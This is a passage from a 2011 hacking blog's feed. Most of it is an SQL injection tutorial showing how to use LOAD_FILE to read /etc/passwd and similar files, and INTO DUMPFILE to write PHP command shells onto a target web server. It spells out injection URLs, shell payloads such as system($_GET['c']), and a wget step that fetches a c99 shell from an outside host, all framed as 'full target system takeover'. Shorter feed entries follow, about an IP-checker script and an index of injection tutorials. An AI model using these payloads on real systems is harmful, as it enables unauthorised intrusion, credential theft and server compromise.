&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;SAMPLE IMAGE&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img534.imageshack.us/img534/6704/58943482.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://img534.imageshack.us/img534/6704/58943482.png" t$="true" width="397" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Also helpful to look for "/etc/hosts", "/etc/group", or possibly "C:\boot.ini" on Windows OS. You can use one to your liking, explore your own, just be aware that much like the table names this will need to be HEX'd from time to time to bypass filters and restrictions so results can be properly displayed.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;SAMPLE IMAGE - /ETC/GROUP&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img707.imageshack.us/img707/3914/44126305.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://img707.imageshack.us/img707/3914/44126305.png" t$="true" width="392" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;SAMPLE IMAGE - /ETC/HOSTS:&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img228.imageshack.us/img228/3433/48756495.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="367" src="http://img228.imageshack.us/img228/3433/48756495.png" t$="true" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Calibri;"&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;INTO OUTFILE &amp;amp; INTO DUMPFILE:&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;Now we will use INTO_OUTFILE() &amp;amp; INTO_DUMPFILE() for all that they offer and try to root the target server by uploading a shell via SQL injection, remember the whole point of this is to show you how to do it without having to even step foot in the admin panel. These two options allow you to either take the contents from a column &amp;amp; place them in a nice text file for cleanliness purposes, OR we can use it to upload a php script of our choice that we could then use to perform a remote file inclusion, cmd execution, or whatever else you can think of.&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;NOTE&lt;/b&gt;: You CAN NOT overwrite existing files on the target system with these methods and in general it requires Magice_quotes_gpc to be disabled. Also be aware that HEX() and CHAR() won’t work for this like it does in other circumstances (mainly table_name &amp;amp; LOAD_FILE()). The last warning is that you must ensure that INTO OUTFILE is the last statement of your request or query.&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;OK so first we can use INTO_DUMPFILE() to dump the contents of a column into a text file. If we do it correctly we can dump the results into a area on the webserver that we can then check afterwards to find the results. If for example we wanted to take the password column from the admin table and place the content into a file it would look like this:&lt;/div&gt;&lt;div class="MsoListParagraph" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+1,passwd,3,4,5+FROM+admin+INTO+DUMPFILE+’/path/on/target/file.txt’"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+1,passwd,3,4,5+FROM+admin+INTO+DUMPFILE+’/path/on/target/file.txt’&lt;/a&gt;—&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;NOTE&lt;/b&gt;: You can use INTO_OUTFILE &amp;amp; INTO_DUMPFILE fairly interchangeable, but to avoid splitting chars between the data, we will use INTO DUMPFILE instead of INTO OUTFILE. &lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;This will take the “passwd” column and will extract its full contents and place it in the new file created by our dumpfile argument, called “filed.txt”. Once you have run this query you can point your favorite browser at the designated web folder location to see the contents of your file you just created. If we wanted to take this even further you can use this same method but replace the column you are dumping with your own code. You can sue this approach to upload a .php backdoor, or perhaps upload some purposefully vulnerable code to allow remote file inclusion to get more privileged shell, or maybe you only need a simple php command shell to do your thing. All are possible and it works like this:&lt;/div&gt;&lt;div class="MsoListParagraph" style="margin: 0in 0in 10pt 0.5in; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+null,’CODE’,null,null,null+INTO+DUMPFILE+’/path/on/target/evil.php’"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+null,’CODE’,null,null,null+INTO+DUMPFILE+’/path/on/target/evil.php’&lt;/a&gt;—&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;NOTE&lt;/b&gt;: You need to null the column numbers when using this method to avoid writing numbers to our files. Whatever you place where CODE is, is what will be written to the evil.php file that is created. This may require that the PHP safe_mode be turned off. Depending on OS and PHP version you can bypass the safe_mode restrictions. &lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;A few deadly examples:&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+null,'"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+null,'&lt;/a&gt;&amp;lt;? system($_GET['c']); ?&amp;gt;’,null,null,null+INTO+DUMPFILE+’/path/on/target/evil.php’—&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT&lt;/a&gt;+"&amp;lt;? system($_REQUEST['cmd']); ?&amp;gt;",2,3,4 INTO+OUTFILE+“/var/www/html/temp/evil.php" --&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;these are simple PHP CMD shells which would allow you to issue some basic commands on the target server. To use, just open URL to new file and change the trailing part of URL to your desired command and watch the page refresh with your results displayed&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 112.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/temp/evil.php?c=&amp;lt;insert-command-here"&gt;http://www.site.com/temp/evil.php?c=&amp;lt;insert-command-here&lt;/a&gt;&amp;gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 112.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/temp/evil.php?c=id"&gt;http://www.site.com/temp/evil.php?c=id&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 180.35pt; mso-add-space: auto; mso-list: l0 level4 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;check system id&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 112.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/temp/evil.php?c=cat"&gt;http://www.site.com/temp/evil.php?c=cat&lt;/a&gt; /var/www/index.php&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 180.35pt; mso-add-space: auto; mso-list: l0 level4 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;check the code for index page to see if we can find the default credentials being used to make connections, as well as getting some info on directory structure perhaps&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 112.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/temp/evil.php?c=wget"&gt;http://www.site.com/temp/evil.php?c=wget&lt;/a&gt; &lt;a href="http://www.example.com/c99.php"&gt;http://www.example.com/c99.php&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 180.35pt; mso-add-space: auto; mso-list: l0 level4 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;use wget to download remote shell for upgraded privileges and further rooting of the target server&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+null"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+null&lt;/a&gt;, ‘&amp;lt;? phpinfo(); ?&amp;gt;’ ,null,null,null+INTO +DUMPFILE+’/path/on/target/evil.php’—&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: normal; margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;This will give you a lot of information relating to the target server’s current configuration&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;Once last trick to show you is that you can actually combine both the LOAD_FILE() &amp;amp; INTO_DUMPFILE() to obtain useful information from the target server. This essentially puts a copy of a file into usable web page for you to easily grab and read. Here is an example of how it might be used:&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+LOAD_FILE(‘/etc/passwd’),null+INTO+DUMPFILE+’/path/on/target/dump.php’"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+LOAD_FILE(‘/etc/passwd’),null+INTO+DUMPFILE+’/path/on/target/dump.php’&lt;/a&gt;—&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.site.com/index.php?id=-725+UNION+SELECT+HEX(LOAD_FILE(‘/etc/passwd’)),null+INTO+DUMPFILE+’/path/on/target/dump.php’"&gt;http://www.site.com/index.php?id=-725+UNION+SELECT+HEX(LOAD_FILE(‘/etc/passwd’)),null+INTO+DUMPFILE+’/path/on/target/dump.php’&lt;/a&gt;—&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 10pt 1in; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;might require you to decrypt it but if it helps you to bypass filters and restrictions then so be it. You can try PHP charset encoders to get this done. &lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;That brings this to a close on how to use LOAD_FILE and INTO_DUMPFILE to turn a standard SQL Injection into full target system takeover. I hope you have enjoyed this, and until next time Enjoy!&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;H.R.&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-5863178670423708574?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5WWM5Wp0BfGb29Wea_rVuM3riFs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5WWM5Wp0BfGb29Wea_rVuM3riFs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5WWM5Wp0BfGb29Wea_rVuM3riFs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5WWM5Wp0BfGb29Wea_rVuM3riFs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/akdaCVSfu9g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/5863178670423708574/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/08/sql-injection-how-to-use-load-file-into.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/5863178670423708574?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/5863178670423708574?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/akdaCVSfu9g/sql-injection-how-to-use-load-file-into.html" title="SQL Injection: How to use LOAD FILE &amp; INTO DUMPFILE" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/08/sql-injection-how-to-use-load-file-into.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU8NR34yfCp7ImA9WhdSGEU.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-2211187121367627043</id><published>2011-07-28T16:18:00.000-05:00</published><updated>2011-07-28T16:18:16.094-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-28T16:18:16.094-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="IP Checker" /><category scheme="http://www.blogger.com/atom/ns#" term="IP Address" /><category scheme="http://www.blogger.com/atom/ns#" term="IP Locator" /><category scheme="http://www.blogger.com/atom/ns#" term="IP" /><category scheme="http://www.blogger.com/atom/ns#" term="VPN Checker" /><category scheme="http://www.blogger.com/atom/ns#" term="IP Verification" /><category scheme="http://www.blogger.com/atom/ns#" term="How to check External IP" /><category scheme="http://www.blogger.com/atom/ns#" term="IP Validator" /><category scheme="http://www.blogger.com/atom/ns#" term="Whats my IP" /><category scheme="http://www.blogger.com/atom/ns#" term="Whatsmyip.py" /><category scheme="http://www.blogger.com/atom/ns#" term="Proxy Checker" /><category scheme="http://www.blogger.com/atom/ns#" term="Check IP" /><title>CHECKING YOUR EXTERNAL IP FROM COMMAND LINE</title><content type="html">&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I find myself often working from the command line in the terminal or console when conducting various security tests and wondering if my proxy or VPN is truly working correctly for my command line tools. It is easy enough to check from a standard browser but this requires me to leave the console and actually open a browser, which of courses I am too lazy to do. In my search to keep all things command line I found this gem of a script written in python that does exactly what I have been looking for - and I had to share it with you! It is called “whatsmyip.py”. I did not write this but it is a great piece of python code and works simple enough. If you place this script in your PATH variable you should be able to access it from anywhere when in the command line, allowing us to quickly check our external ip and confirm our HTTP proxy or VPN is properly working for our CLI tools. No more need to even leave the console! You can always use ipconfig/ifconfig to check your internal IP from the command line, now you can also check your external IP. It is as simple as saving the code provided below as “&amp;lt;insert-name&amp;gt;.py” on your system and then running as “name.py” OR “python name.py”. It will grab your external IP and return the result to the console screen. It is super easy and really helpful. It won’t do anything else, but it does what it is supposed to and makes another fine addition to any real pen-testers bag of tricks to use at their disposal. Hope you find this helpful in some way, and as always Enjoy!&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;PS - All credits for coding this script go to: s3my0n&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Quick Screenshot:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img696.imageshack.us/img696/1811/ippy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="177" src="http://img696.imageshack.us/img696/1811/ippy.png" t$="true" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;strong&gt;CODE:&lt;a href="http://paste2.org/p/1548304"&gt;http://paste2.org/p/1548304&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;DOWNLOAD:&amp;nbsp;&lt;a href="http://www.megaupload.com/?d=ENQMX9GY"&gt;http://www.megaupload.com/?d=ENQMX9GY&lt;/a&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-2211187121367627043?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jzZm-QFRIUjZ5_vW-geane8rnOs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jzZm-QFRIUjZ5_vW-geane8rnOs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jzZm-QFRIUjZ5_vW-geane8rnOs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jzZm-QFRIUjZ5_vW-geane8rnOs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/jKJZzBPnwAk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/2211187121367627043/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/07/checking-your-external-ip-from-command.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/2211187121367627043?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/2211187121367627043?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/jKJZzBPnwAk/checking-your-external-ip-from-command.html" title="CHECKING YOUR EXTERNAL IP FROM COMMAND LINE" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/07/checking-your-external-ip-from-command.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcCRX85eyp7ImA9WhdRGE8.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-5327310034664646028</id><published>2011-07-15T20:27:00.003-05:00</published><updated>2011-08-08T11:14:24.123-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-08T11:14:24.123-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="stacked queries" /><category scheme="http://www.blogger.com/atom/ns#" term="Xpath Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="HTTP Header Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="LDAP Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="Time Based Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection How To" /><category scheme="http://www.blogger.com/atom/ns#" term="Cookie Injections" /><category scheme="http://www.blogger.com/atom/ns#" term="SQLi" /><category scheme="http://www.blogger.com/atom/ns#" term="Double-queries" /><category scheme="http://www.blogger.com/atom/ns#" term="Blind Injection" /><title>SQL INJECTION TUTORIALS</title><content type="html">Hey Guys - I have been getting requests for more details on how to perform manual SQL Injections. I have gathered what I beleive to be the best of what is out there and compiled it in my own form. I have and am working on compiling it all into a educational type format so others can benifit from it while at the same time giving myself my own online reference guide available at any time (and&amp;nbsp;to anyone else interested). I will be giving these tutorials there own pages as I find the material to be a good reference. I just posted the first few outlining some basic techniques and plan to add several more pages as the summer continues and time permits. In order to give you an idea of what is going to be covered I have already posted basic injections, WAF Bypassing, Blind &amp;amp; Time-Based Injections and still&amp;nbsp;plan on covering , Double-Queries or Stacked Queries, Xpath Injections, as well as providing some general reference guides for&amp;nbsp;handling Postgres &amp;amp; Oracle database injections. Please check the top of the page to see the new pages that are currently available and check back often to see what else has been added. I hope you find them all useful and appreciate the time that is going into packaging it all up for you. As always, Enjoy!&lt;br /&gt;
&lt;br /&gt;
Here is what's available so far:&lt;br /&gt;
